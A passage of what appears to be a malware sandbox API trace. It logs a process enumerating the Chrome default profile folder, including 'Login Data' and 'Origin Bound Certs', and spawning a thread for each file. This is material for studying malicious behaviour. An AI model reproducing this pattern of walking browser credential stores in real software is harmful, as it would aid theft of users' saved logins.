HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons" [0244.215] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x20278cb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e84 [0244.219] FindNextFileW (in: hFindFile=0x431f9d20, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85096390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85096390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85096390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JumpListIconsOld", cAlternateFileName="JUMPLI~1")) returned 1 [0244.219] wcscmp (_String1="JumpListIconsOld", _String2=".") returned 1 [0244.219] wcscmp (_String1="JumpListIconsOld", _String2="..") returned 1 [0244.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x43112a60 [0244.219] wcscpy (in: _Dest=0x43112a60, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0244.219] wcscat (in: _Dest=0x43112a60, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0244.220] wcscat (in: _Dest=0x43112a60, _Source="JumpListIconsOld" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld" [0244.220] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x43112a60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1308 [0244.224] FindNextFileW (in: hFindFile=0x431f9d20, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8642cdf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8642cdf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8642cdf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local Extension Settings", cAlternateFileName="LOCALE~1")) returned 1 [0244.224] wcscmp (_String1="Local Extension Settings", _String2=".") returned 1 [0244.224] wcscmp (_String1="Local Extension Settings", _String2="..") returned 1 [0244.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x43116160 [0244.224] wcscpy (in: _Dest=0x43116160, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0244.224] wcscat (in: _Dest=0x43116160, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0244.224] wcscat (in: _Dest=0x43116160, _Source="Local Extension Settings" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings" [0244.224] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x43116160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x908 [0244.228] FindNextFileW (in: hFindFile=0x431f9d20, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83ede170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x90191d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x90191d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local Storage", cAlternateFileName="LOCALS~1")) returned 1 [0244.228] wcscmp (_String1="Local Storage", _String2=".") returned 1 [0244.228] wcscmp (_String1="Local Storage", _String2="..") returned 1 [0244.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x430e45e0 [0244.228] wcscpy (in: _Dest=0x430e45e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0244.228] wcscat (in: _Dest=0x430e45e0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0244.228] wcscat (in: _Dest=0x430e45e0, _Source="Local Storage" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Storage" [0244.229] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x430e45e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd94 [0244.232] FindNextFileW (in: hFindFile=0x431f9d20, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80fc7e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80fc7e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8124f5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Login Data", cAlternateFileName="LOGIND~1")) returned 1 [0244.232] wcscmp (_String1="Login Data", _String2=".") returned 1 [0244.232] wcscmp (_String1="Login Data", _String2="..") returned 1 [0244.232] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x107780 [0244.233] wcscpy (in: _Dest=0x107780, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0244.233] wcscat (in: _Dest=0x107780, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0244.233] wcscat (in: _Dest=0x107780, _Source="Login Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" [0244.233] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x107780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x870 [0244.237] FindNextFileW (in: hFindFile=0x431f9d20, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80fc7e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80fc7e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8129b860, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Login Data-journal", cAlternateFileName="LOGIND~2")) returned 1 [0244.237] wcscmp (_String1="Login Data-journal", _String2=".") returned 1 [0244.237] wcscmp (_String1="Login Data-journal", _String2="..") returned 1 [0244.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbe) returned 0x431127f0 [0244.237] wcscpy (in: _Dest=0x431127f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0244.237] wcscat (in: _Dest=0x431127f0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0244.237] wcscat (in: _Dest=0x431127f0, _Source="Login Data-journal" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data-journal" [0244.237] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431127f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x604 [0244.240] FindNextFileW (in: hFindFile=0x431f9d20, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82330270, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82330270, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x825f0410, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network Action Predictor", cAlternateFileName="NETWOR~1")) returned 1 [0244.240] wcscmp (_String1="Network Action Predictor", _String2=".") returned 1 [0244.240] wcscmp (_String1="Network Action Predictor", _String2="..") returned 1 [0244.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x43114fe0 [0244.241] wcscpy (in: _Dest=0x43114fe0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0244.241] wcscat (in: _Dest=0x43114fe0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0244.241] wcscat (in: _Dest=0x43114fe0, _Source="Network Action Predictor" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor" [0244.241] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43114fe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc20 [0244.244] FindNextFileW (in: hFindFile=0x431f9d20, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82330270, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82330270, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8262ad90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network Action Predictor-journal", cAlternateFileName="NETWOR~2")) returned 1 [0244.244] wcscmp (_String1="Network Action Predictor-journal", _String2=".") returned 1 [0244.244] wcscmp (_String1="Network Action Predictor-journal", _String2="..") returned 1 [0244.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xda) returned 0x1ceb66b0 [0244.244] wcscpy (in: _Dest=0x1ceb66b0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0244.244] wcscat (in: _Dest=0x1ceb66b0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0244.244] wcscat (in: _Dest=0x1ceb66b0, _Source="Network Action Predictor-journal" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor-journal") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Action Predictor-journal" [0244.244] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ceb66b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x830 [0244.247] FindNextFileW (in: hFindFile=0x431f9d20, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86263d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86263d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86263d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network Persistent State", cAlternateFileName="NETWOR~3")) returned 1 [0244.247] wcscmp (_String1="Network Persistent State", _String2=".") returned 1 [0244.247] wcscmp (_String1="Network Persistent State", _String2="..") returned 1 [0244.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x43115fa0 [0244.247] wcscpy (in: _Dest=0x43115fa0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0244.247] wcscat (in: _Dest=0x43115fa0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0244.247] wcscat (in: _Dest=0x43115fa0, _Source="Network Persistent State" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Persistent State") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network Persistent State" [0244.248] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43115fa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d8 [0244.250] FindNextFileW (in: hFindFile=0x431f9d20, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x81d16a10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81d16a10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x94034050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin Bound Certs", cAlternateFileName="ORIGIN~1")) returned 1 [0244.250] wcscmp (_String1="Origin Bound Certs", _String2=".") returned 1 [0244.251] wcscmp (_String1="Origin Bound Certs", _String2="..") returned 1 [0244.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbe) returned 0x43112e70 [0244.251] wcscpy (in: _Dest=0x43112e70, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0244.251] wcscat (in: _Dest=0x43112e70, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0244.251] wcscat (in: _Dest=0x43112e70, _Source="Origin Bound Certs" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs" [0244.251] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43112e70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdf8 [0244.254] FindNextFileW (in: hFindFile=0x431f9d20, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x81d16a10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81d16a10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9405a1b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin Bound Certs-journal", cAlternateFileName="ORIGIN~2")) returned 1 [0244.254] wcscmp (_String1="Origin Bound Certs-journal", _String2=".") returned 1 [0244.254] wcscmp (_String1="Origin Bound Certs-journal", _String2="..") returned 1 [0244.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xce) returned 0x43116080 [0244.254] wcscpy (in: _Dest=0x43116080, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0244.254] wcscat (in: _Dest=0x43116080, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0244.254] wcscat (in: _Dest=0x43116080, _Source="Origin Bound Certs-journal" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs-journal") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Origin Bound Certs-journal" [0244.255] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43116080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25b8 [0244.261] FindNextFileW (in: hFindFile=0x431f9d20, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c43f3e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c446910, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Preferences", cAlternateFileName="PREFER~1")) returned 1 [0244.261] wcscmp (_String1="Preferences", _String2=".") returned 1 [0244.261] wcscmp (_String1="Preferences", _String2="..") returned 1 [0244.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x107d80 [0244.261] wcscpy (in: _Dest=0x107d80, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0244.261] wcscat (in: _Dest=0x107d80, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0244.261] wcscat (in: _Dest=0x107d80, _Source="Preferences" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences" [0244.262] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x107d80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f3c [0244.266] FindNextFileW (in: hFindFile=0x431f9d20, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f8dea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f8dea80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8129b860, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="previews_opt_out.db", cAlternateFileName="PREVIE~1.DB")) returned 1 [0244.266] wcscmp (_String1="previews_opt_out.db", _String2=".") returned 1 [0244.266] wcscmp (_String1="previews_opt_out.db", _String2="..") returned 1 [0244.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc0) returned 0x43112f40 [0244.267] wcscpy (in: _Dest=0x43112f40, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0244.267] wcscat (in: _Dest=0x43112f40, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0244.267] wcscat (in: _Dest=0x43112f40, _Source="previews_opt_out.db" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db" [0244.267] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43112f40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x65c [0244.268] FindNextFileW (in: hFindFile=0x431f9d20, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x804795c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x804795c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x812c19c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="previews_opt_out.db-journal", cAlternateFileName="PREVIE~1.DB-")) returned 1 [0244.268] wcscmp (_String1="previews_opt_out.db-journal", _String2=".") returned 1 [0244.268] wcscmp (_String1="previews_opt_out.db-journal", _String2="..") returned 1 [0244.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd0) returned 0x43115d00 [0244.269] wcscpy (in: _Dest=0x43115d00, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0244.269] wcscat (in: _Dest=0x43115d00, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0244.269] wcscat (in: _Dest=0x43115d00, _Source="previews_opt_out.db-journal" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db-journal") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db-journal" [0244.269] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43115d00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x117c [0244.269] FindNextFileW (in: hFindFile=0x431f9d20, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8687f510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8687f510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x869fc2d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, 